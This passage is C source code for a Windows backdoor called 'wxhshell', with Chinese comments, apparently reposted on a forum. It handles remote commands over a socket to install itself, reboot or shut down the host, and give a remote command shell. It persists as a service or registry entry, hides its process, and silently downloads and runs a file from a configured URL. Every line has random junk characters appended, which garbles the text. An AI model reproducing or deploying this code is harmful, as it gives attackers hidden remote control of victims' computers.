  case '?': { c_dVWh e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zKyyU}LHH  
    break; /{EP*,/*  
  } E`kG-Q5Dw  
  // 安装 '@a}H9>}  
  case 'i': { aE Bu *`-j  
    if(Install()) DMAIM|h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T"(&b~m2b4  
    else 1Rt33\1J0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dhC$W!N7!  
    break; 48J@C vU  
    } >>QY'1Eu  
  // 卸载 T tfo^ksw  
  case 'r': { eJrQ\>z]V&  
    if(Uninstall()) oro$wFxJO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [NF'oRRD9s  
    else ^dI424  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <KJ/<0l  
    break; ;/bewivNJ  
    } H/"-Z;0{  
  // 显示 wxhshell 所在路径 vRznw&^E  
  case 'p': { q?H|o(  
    char svExeFile[MAX_PATH]; Ve8=b0&Y#j  
    strcpy(svExeFile,"\n\r"); &r[`>B{tP  
      strcat(svExeFile,ExeFile); <S5BDk  
        send(wsh,svExeFile,strlen(svExeFile),0); ?L x24*5%  
    break; .zr-:L5{  
    } $6qh| >z.  
  // 重启 gLb`pCo/  
  case 'b': { 2ElJbN#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~]nRV *^  
    if(Boot(REBOOT)) ;p.v]0]is  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &U{#Kt5q  
    else { M5i%jZk  
    closesocket(wsh); Vk` h2BV  
    ExitThread(0); mJ<=n?{Z  
    } Qu"8(Jk/  
    break; S\^P ha q  
    } 32(^Te]:  
  // 关机 oF vfCrd  
  case 'd': { ]v?@g:i E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #./fY;:cj  
    if(Boot(SHUTDOWN)) -Sq z5lo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w3N[9w?1  
    else { 0}<|7?  
    closesocket(wsh); 3t.l5m Rg5  
    ExitThread(0); Z3%}ajPu[  
    } #^#PPO  
    break; [m- >5H  
    } SDL7<ZaE  
  // 获取shell s'3 s^Dd  
  case 's': { [RS|gem`  
    CmdShell(wsh); )Fc%+TpKi  
    closesocket(wsh); HUcq% .  
    ExitThread(0); 6 [k\@&V-  
    break; Jf@H/luW  
  } n#mA/H;wV  
  // 退出 GmK^}=frj  
  case 'x': { +|*IZ:w)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <:_wbVn-  
    CloseIt(wsh); 1kz\IQ{  
    break; ] ;KJ6  
    } i)\ L:qF5  
  // 离开 m.hkbet/R  
  case 'q': { -6Z\qxKqZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $5 >e  
    closesocket(wsh); },uF 4M.K  
    WSACleanup(); 1eA7>$w}[  
    exit(1); QemyCCP+  
    break; j*d yp  
        } :{{F *FM;  
  } 97Lte5c6r  
  } rr/B= O7  
XWn VgY s  
  // 提示信息 5CuuG<0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X3(tuqmi  
} a,Sw4yJ!Q  
  } =NpYFKmMhV  
FW.7'7G@n  
  return; z Eq GD2"  
} 57aXQ8u{  
K)6rY(x >  
// shell模块句柄 :X"?kK0V  
int CmdShell(SOCKET sock) E~,F  
{ Q[Z8ok  
STARTUPINFO si; }I2wjO  
ZeroMemory(&si,sizeof(si)); T _r:4JS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oVnvO iAc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #akpXdXs  
PROCESS_INFORMATION ProcessInfo; -N6f1>}pE  
char cmdline[]="cmd"; ; a/X<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %) /s;Q,  
  return 0; t9nqu!);  
} [v7F1@6b  
wrviR  
// 自身启动模式 DP[IZ C  
int StartFromService(void) s:?SF.  
{ +ndaLhj'  
typedef struct Y)1PB+  
{ lvdf^b/ j  
  DWORD ExitStatus; Ha(c'\T (\  
  DWORD PebBaseAddress; dW_KU}  
  DWORD AffinityMask; j >Ht@Wi  
  DWORD BasePriority; Hfv7LM  
  ULONG UniqueProcessId; yUeCc"Vf  
  ULONG InheritedFromUniqueProcessId; ()2I#  
}   PROCESS_BASIC_INFORMATION; |rY1US)S  
:D euX  
PROCNTQSIP NtQueryInformationProcess; ]99|KQ<s  
u6?Q3 bvI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XYjV.j\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H  >j  
+j#+8Ze  
  HANDLE             hProcess; c7<wZ  
  PROCESS_BASIC_INFORMATION pbi; [O$Wa:< 0x  
VdPtPq1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?OId\'q  
  if(NULL == hInst ) return 0; O $LfuL  
rr+|Zt Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FFl!\y*0z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cIUHa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \}+_Fo/  
%!]@J[*1  
  if (!NtQueryInformationProcess) return 0; wHzEMwY_  
!-ok"k0,u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6 rh5h:  
  if(!hProcess) return 0; t;\kR4P  
81](T<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !4]T XH0f  
O80<Z#%j`  
  CloseHandle(hProcess); 1G"z<v B  
;}7Rjl#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E08 klC0  
if(hProcess==NULL) return 0; >x/z7v?^I  
Bs13^^hu  
HMODULE hMod; SlgN&{ Bk  
char procName[255]; nv GF2(;l  
unsigned long cbNeeded; 4 <9=5q]  
BYpG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _?<|{O  
,qA(\[  
  CloseHandle(hProcess); ^.1)};i  
={_C&57N1  
if(strstr(procName,"services")) return 1; // 以服务启动 !\"EFVH  
qUh2hz:  
  return 0; // 注册表启动 -jW.TT h]  
} 7[w,:9& }  
TBs|r#  
// 主模块 3Iua*#<m,  
int StartWxhshell(LPSTR lpCmdLine) ,kF1T,  
{ C.~,qmOP  
  SOCKET wsl; Vdtry @Q  
BOOL val=TRUE; #eQJEajv5  
  int port=0; rEv@Y D  
  struct sockaddr_in door; 2gc/3*F8  
gaQdG=G8$  
  if(wscfg.ws_autoins) Install(); 48c1gUw oP  
.|hf\1_J  
port=atoi(lpCmdLine); PbW(%7o(t  
=V-A@_^!c  
if(port<=0) port=wscfg.ws_port; a,xycX:U  
ks"|}9\%<  
  WSADATA data; S-Wzour,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %kv0We fs  
R,gR;Aarw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \Npxv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mIurA?&7!  
  door.sin_family = AF_INET; Cf TfL3(J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~KHVY)@P  
  door.sin_port = htons(port); *$yR*}A  
_/F7 ?^j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y ?S!8-z  
closesocket(wsl); ahuGq'  
return 1; ?/BqD;{?I  
} wr5AG<%(  
+s(HOq)b  
  if(listen(wsl,2) == INVALID_SOCKET) { &]8P1{  
closesocket(wsl); H!?c\7adX  
return 1; U@g4w!$r  
} )+l\w3^6  
  Wxhshell(wsl); l9}3XI.=  
  WSACleanup(); B{|8#jqY  
o1Ph~|s*8  
return 0; e]`[yf  
G.rrv  
} XR+Y=R  
Kw -gojZ  
// 以NT服务方式启动 "|Xk2U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gnf~u[T6  
{ O?)3VT*  
DWORD   status = 0; *194{ ep  
  DWORD   specificError = 0xfffffff; jNTjSX  
/~}}"zx&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `Zf^E >)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~$ng^D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K!:azP,bZ  
  serviceStatus.dwWin32ExitCode     = 0; ?6Jx@Sh  
  serviceStatus.dwServiceSpecificExitCode = 0; NYE` Kin-  
  serviceStatus.dwCheckPoint       = 0; hHN'w73z  
  serviceStatus.dwWaitHint       = 0; &Nj3h(Ll  
@HQ`~C#Z'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &f"-d  
  if (hServiceStatusHandle==0) return; {kp"nl$<  
9)}[7Mg:C  
status = GetLastError(); pi /g H  
  if (status!=NO_ERROR) ;-9=RI0  
{ $eD.W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !;0U,!WI  
    serviceStatus.dwCheckPoint       = 0; 9  TvV=  
    serviceStatus.dwWaitHint       = 0; -}=i 04^  
    serviceStatus.dwWin32ExitCode     = status; Rec6c&5_  
    serviceStatus.dwServiceSpecificExitCode = specificError; `!XY]PI+e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'h/CoTk@,  
    return; a d.3A{  
  } =x!2Ak/)  
.uuO>:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /s?r`'j[  
  serviceStatus.dwCheckPoint       = 0; %`OJ.:k  
  serviceStatus.dwWaitHint       = 0; 3|WWo1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !u_Y7i3^  
} }lh I\q  
&S( .GdEf  
// 处理NT服务事件,比如:启动、停止 VSrr`B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }2<r,  
{ TcIcS]w%  
switch(fdwControl) =4[v 3Qx  
{ \n{qsf:  
case SERVICE_CONTROL_STOP: {. 2k6_1[  
  serviceStatus.dwWin32ExitCode = 0; <Fi%iA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @W va tD V  
  serviceStatus.dwCheckPoint   = 0; vI2^tX 9  
  serviceStatus.dwWaitHint     = 0; j/>$,   
  { $>GgB`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p;._HJ(  
  } :z4)5= 6M  
  return; q<\,  
case SERVICE_CONTROL_PAUSE: 6I1,:nLL<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )=5ng-  
  break; 3{ LP?w:@  
case SERVICE_CONTROL_CONTINUE: 1 y-y6q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /4c\K-Z;  
  break;  Jd%H2`  
case SERVICE_CONTROL_INTERROGATE: :,Pn3xl  
  break; y=`2\L" O  
}; N$h{Yvbn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &0NFb^8+  
} 'XZ) !1N  
O$IEn/%+  
// 标准应用程序主函数 F{EnOr`,m=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  TR<<+  
{ .#1~Rz1r  
9A} # 6  
// 获取操作系统版本 0/!dUWdKH  
OsIsNt=GetOsVer(); 6,d@p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2Tfz=7h$  
*$p2*%7Ne  
  // 从命令行安装 y$@ZN~8  
  if(strpbrk(lpCmdLine,"iI")) Install(); "i U}]e0  
> ;L6xt3  
  // 下载执行文件 Gs9:6  
if(wscfg.ws_downexe) { odPL {XFj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nyBJb(5"B  
  WinExec(wscfg.ws_filenam,SW_HIDE); c/zJv*}x ?  
} WpF2)R}G=  
pcYG~pZ9  
if(!OsIsNt) { IkBei&4F`  
// 如果时win9x,隐藏进程并且设置为注册表启动 Pm lx8@D  
HideProc(); nX(+s*Y+w  
StartWxhshell(lpCmdLine); HR ;)|j{!  
} aCQ?fq  
else >Y #t`6,!  
  if(StartFromService()) 11<Qxu$rL  
  // 以服务方式启动 #tZ4N7  
  StartServiceCtrlDispatcher(DispatchTable); |55N?=8  
else /G5d|P  
  // 普通方式启动 |_`E1Y}}  
  StartWxhshell(lpCmdLine); U7oo$gW%|T  
"Jt.lL ]5  
return 0; 4zJtOK?r"  
}
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只看该作者 1 发表于: 2006-10-10
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